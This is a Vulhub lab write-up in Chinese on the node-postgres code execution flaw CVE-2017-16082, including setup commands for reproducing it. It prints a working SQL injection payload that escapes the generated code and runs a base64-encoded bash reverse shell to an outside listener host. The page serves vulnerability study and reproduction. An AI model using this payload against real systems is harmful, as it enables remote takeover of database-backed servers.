node-postgres 代碼執行漏洞(CVE-2017-16082)
Path node/CVE-2017-16082
漏洞原理
node-postgres在處理類型為Row Description的postgres返回包時,將字段名拼接到代碼中。由于沒有進行合理轉義,導致一個特殊構造的字段名可逃逸出代碼單引號限制,造成代碼執行漏洞。
參考鏈接:
- https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html
- https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability
- https://zhuanlan.zhihu.com/p/28575189
漏洞復現
編譯及運行環境:
docker-compose build
docker-compose up -d
成功運行后,訪問http://your-ip:3000/?id=1即可查看到id為1的用戶信息,用sqlmap即可發現此處存在注入點,且數據庫為postgres:

那么,我們就可以猜測這里存在node-postgres的代碼執行漏洞。編寫我想執行的命令echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash,然后適當分割(每段長度不超過64字符)后替換在如下payload中:
SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3Rj`+/*", 4 AS "*/`cC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash`)//"
將上述payload編碼后發送:

成功執行命令,如反彈shell:

因為復現過程中坑比較多,payload生成與測試過程中如果出現錯誤,還請多多閱讀我的這篇文章,從原理上找到問題所在。
Vulhub 文檔
推薦文章: